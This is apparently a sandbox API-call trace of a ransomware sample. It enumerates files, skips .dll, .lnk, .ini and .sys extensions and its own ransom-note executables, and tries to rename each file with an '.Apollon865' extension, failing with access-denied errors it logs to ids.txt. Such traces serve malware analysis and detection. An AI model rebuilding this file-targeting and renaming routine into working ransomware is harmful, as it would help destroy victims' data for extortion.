	[0076.432] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipscsy.xml" | out: lpString1="ipscsy.xml") returned="ipscsy.xml"
	[0076.432] lstrlenW (lpString="ipscsy.xml") returned 10
	[0076.432] lstrlenW (lpString="Apollon865") returned 10
	[0076.432] lstrlenW (lpString=".dll") returned 4
	[0076.432] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".dll") returned 1
	[0076.432] lstrlenW (lpString=".lnk") returned 4
	[0076.432] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".lnk") returned 1
	[0076.432] lstrlenW (lpString=".ini") returned 4
	[0076.432] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".ini") returned 1
	[0076.432] lstrlenW (lpString=".sys") returned 4
	[0076.432] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".sys") returned 1
	[0076.432] lstrlenW (lpString="ipscsy.xml") returned 10
	[0076.432] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.Apollon865") returned 72
	[0076.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.432] GetLastError () returned 0x5
	[0076.432] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml MoveFileEx error 5\r\n") returned 90
	[0076.432] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml MoveFileEx error 5\r\n") returned 90
	[0076.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.432] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ed3
	[0076.432] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.433] CloseHandle (hObject=0x15c) returned 1
	[0076.433] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.433] CloseHandle (hObject=0x0) returned 0
	[0076.433] CloseHandle (hObject=0x0) returned 0
	[0076.433] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1
	[0076.433] lstrcmpiW (lpString1="ipsdan.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.433] lstrcmpiW (lpString1="ipsdan.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.433] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsdan.xml" | out: lpString1="ipsdan.xml") returned="ipsdan.xml"
	[0076.433] lstrlenW (lpString="ipsdan.xml") returned 10
	[0076.433] lstrlenW (lpString="Apollon865") returned 10
	[0076.433] lstrlenW (lpString=".dll") returned 4
	[0076.433] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".dll") returned 1
	[0076.433] lstrlenW (lpString=".lnk") returned 4
	[0076.433] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".lnk") returned 1
	[0076.433] lstrlenW (lpString=".ini") returned 4
	[0076.433] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".ini") returned 1
	[0076.433] lstrlenW (lpString=".sys") returned 4
	[0076.433] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".sys") returned 1
	[0076.433] lstrlenW (lpString="ipsdan.xml") returned 10
	[0076.433] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.Apollon865") returned 72
	[0076.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.434] GetLastError () returned 0x5
	[0076.434] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml MoveFileEx error 5\r\n") returned 90
	[0076.434] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml MoveFileEx error 5\r\n") returned 90
	[0076.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.434] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2f2d
	[0076.434] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.434] CloseHandle (hObject=0x15c) returned 1
	[0076.434] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.434] CloseHandle (hObject=0x0) returned 0
	[0076.434] CloseHandle (hObject=0x0) returned 0
	[0076.434] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1
	[0076.434] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.434] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.435] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsdeu.xml" | out: lpString1="ipsdeu.xml") returned="ipsdeu.xml"
	[0076.435] lstrlenW (lpString="ipsdeu.xml") returned 10
	[0076.435] lstrlenW (lpString="Apollon865") returned 10
	[0076.435] lstrlenW (lpString=".dll") returned 4
	[0076.435] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".dll") returned 1
	[0076.435] lstrlenW (lpString=".lnk") returned 4
	[0076.435] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".lnk") returned 1
	[0076.435] lstrlenW (lpString=".ini") returned 4
	[0076.435] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".ini") returned 1
	[0076.435] lstrlenW (lpString=".sys") returned 4
	[0076.435] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".sys") returned 1
	[0076.435] lstrlenW (lpString="ipsdeu.xml") returned 10
	[0076.435] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.Apollon865") returned 72
	[0076.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.435] GetLastError () returned 0x5
	[0076.435] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml MoveFileEx error 5\r\n") returned 90
	[0076.435] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml MoveFileEx error 5\r\n") returned 90
	[0076.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.435] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2f87
	[0076.436] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.436] CloseHandle (hObject=0x15c) returned 1
	[0076.436] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.436] CloseHandle (hObject=0x0) returned 0
	[0076.436] CloseHandle (hObject=0x0) returned 0
	[0076.436] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1
	[0076.436] lstrcmpiW (lpString1="ipsen.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.436] lstrcmpiW (lpString1="ipsen.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.436] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsen.xml" | out: lpString1="ipsen.xml") returned="ipsen.xml"
	[0076.436] lstrlenW (lpString="ipsen.xml") returned 9
	[0076.436] lstrlenW (lpString="Apollon865") returned 10
	[0076.436] lstrlenW (lpString=".dll") returned 4
	[0076.436] lstrcmpiW (lpString1="ipsen.xml", lpString2=".dll") returned 1
	[0076.436] lstrlenW (lpString=".lnk") returned 4
	[0076.436] lstrcmpiW (lpString1="ipsen.xml", lpString2=".lnk") returned 1
	[0076.436] lstrlenW (lpString=".ini") returned 4
	[0076.436] lstrcmpiW (lpString1="ipsen.xml", lpString2=".ini") returned 1
	[0076.436] lstrlenW (lpString=".sys") returned 4
	[0076.436] lstrcmpiW (lpString1="ipsen.xml", lpString2=".sys") returned 1
	[0076.436] lstrlenW (lpString="ipsen.xml") returned 9
	[0076.436] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.Apollon865") returned 71
	[0076.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.447] GetLastError () returned 0x5
	[0076.447] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml MoveFileEx error 5\r\n") returned 89
	[0076.447] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml MoveFileEx error 5\r\n") returned 89
	[0076.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.448] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2fe1
	[0076.448] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x59, lpOverlapped=0x0) returned 1
	[0076.448] CloseHandle (hObject=0x15c) returned 1
	[0076.448] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.448] CloseHandle (hObject=0x0) returned 0
	[0076.448] CloseHandle (hObject=0x0) returned 0
	[0076.448] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1
	[0076.448] lstrcmpiW (lpString1="ipsesp.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.448] lstrcmpiW (lpString1="ipsesp.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.449] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsesp.xml" | out: lpString1="ipsesp.xml") returned="ipsesp.xml"
	[0076.449] lstrlenW (lpString="ipsesp.xml") returned 10
	[0076.449] lstrlenW (lpString="Apollon865") returned 10
	[0076.449] lstrlenW (lpString=".dll") returned 4
	[0076.449] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".dll") returned 1
	[0076.449] lstrlenW (lpString=".lnk") returned 4
	[0076.449] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".lnk") returned 1
	[0076.449] lstrlenW (lpString=".ini") returned 4
	[0076.449] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".ini") returned 1
	[0076.449] lstrlenW (lpString=".sys") returned 4
	[0076.449] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".sys") returned 1
	[0076.449] lstrlenW (lpString="ipsesp.xml") returned 10
	[0076.449] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.Apollon865") returned 72
	[0076.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.449] GetLastError () returned 0x5
	[0076.449] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml MoveFileEx error 5\r\n") returned 90
	[0076.449] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml MoveFileEx error 5\r\n") returned 90
	[0076.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.449] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x303a
	[0076.449] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.450] CloseHandle (hObject=0x15c) returned 1
	[0076.450] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.450] CloseHandle (hObject=0x0) returned 0
	[0076.450] CloseHandle (hObject=0x0) returned 0
	[0076.450] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1
	[0076.450] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.450] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.450] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="IPSEventLogMsg.dll" | out: lpString1="IPSEventLogMsg.dll") returned="IPSEventLogMsg.dll"
	[0076.450] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18
	[0076.450] lstrlenW (lpString="Apollon865") returned 10
	[0076.450] lstrcmpiW (lpString1="LogMsg.dll", lpString2="Apollon865") returned 1
	[0076.450] lstrlenW (lpString=".dll") returned 4
	[0076.450] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".dll") returned 1
	[0076.450] lstrlenW (lpString=".lnk") returned 4
	[0076.450] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".lnk") returned 1
	[0076.450] lstrlenW (lpString=".ini") returned 4
	[0076.450] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".ini") returned 1
	[0076.450] lstrlenW (lpString=".sys") returned 4
	[0076.450] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".sys") returned 1
	[0076.450] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18
	[0076.451] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsfin.xml" | out: lpString1="ipsfin.xml") returned="ipsfin.xml"
	[0076.451] lstrlenW (lpString="ipsfin.xml") returned 10
	[0076.451] lstrlenW (lpString="Apollon865") returned 10
	[0076.451] lstrlenW (lpString=".dll") returned 4
	[0076.451] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".dll") returned 1
	[0076.451] lstrlenW (lpString=".lnk") returned 4
	[0076.451] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".lnk") returned 1
	[0076.451] lstrlenW (lpString=".ini") returned 4
	[0076.451] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".ini") returned 1
	[0076.451] lstrlenW (lpString=".sys") returned 4
	[0076.451] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".sys") returned 1
	[0076.451] lstrlenW (lpString="ipsfin.xml") returned 10
	[0076.451] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.Apollon865") returned 72
	[0076.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.451] GetLastError () returned 0x5
	[0076.451] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml MoveFileEx error 5\r\n") returned 90
	[0076.451] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml MoveFileEx error 5\r\n") returned 90
	[0076.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.451] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3094
	[0076.451] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.452] CloseHandle (hObject=0x15c) returned 1
	[0076.452] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.452] CloseHandle (hObject=0x0) returned 0
	[0076.452] CloseHandle (hObject=0x0) returned 0
	[0076.452] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1
	[0076.452] lstrcmpiW (lpString1="ipsfra.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.452] lstrcmpiW (lpString1="ipsfra.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.452] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsfra.xml" | out: lpString1="ipsfra.xml") returned="ipsfra.xml"
	[0076.452] lstrlenW (lpString="ipsfra.xml") returned 10
	[0076.452] lstrlenW (lpString="Apollon865") returned 10
	[0076.452] lstrlenW (lpString=".dll") returned 4
	[0076.452] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".dll") returned 1
	[0076.452] lstrlenW (lpString=".lnk") returned 4
	[0076.452] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".lnk") returned 1
	[0076.452] lstrlenW (lpString=".ini") returned 4
	[0076.452] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".ini") returned 1
	[0076.452] lstrlenW (lpString=".sys") returned 4
	[0076.452] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".sys") returned 1
	[0076.452] lstrlenW (lpString="ipsfra.xml") returned 10
	[0076.452] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.Apollon865") returned 72
	[0076.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.488] GetLastError () returned 0x5
	[0076.488] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml MoveFileEx error 5\r\n") returned 90
	[0076.488] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml MoveFileEx error 5\r\n") returned 90
	[0076.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.488] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x30ee
	[0076.489] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.491] CloseHandle (hObject=0x100) returned 1
	[0076.491] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.491] CloseHandle (hObject=0x0) returned 0
	[0076.491] CloseHandle (hObject=0x0) returned 0
	[0076.491] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1
	[0076.491] lstrcmpiW (lpString1="ipshrv.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.491] lstrcmpiW (lpString1="ipshrv.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.491] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipshrv.xml" | out: lpString1="ipshrv.xml") returned="ipshrv.xml"
	[0076.491] lstrlenW (lpString="ipshrv.xml") returned 10
	[0076.491] lstrlenW (lpString="Apollon865") returned 10
	[0076.491] lstrlenW (lpString=".dll") returned 4
	[0076.491] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".dll") returned 1
	[0076.491] lstrlenW (lpString=".lnk") returned 4
	[0076.491] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".lnk") returned 1
	[0076.491] lstrlenW (lpString=".ini") returned 4
	[0076.491] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".ini") returned 1
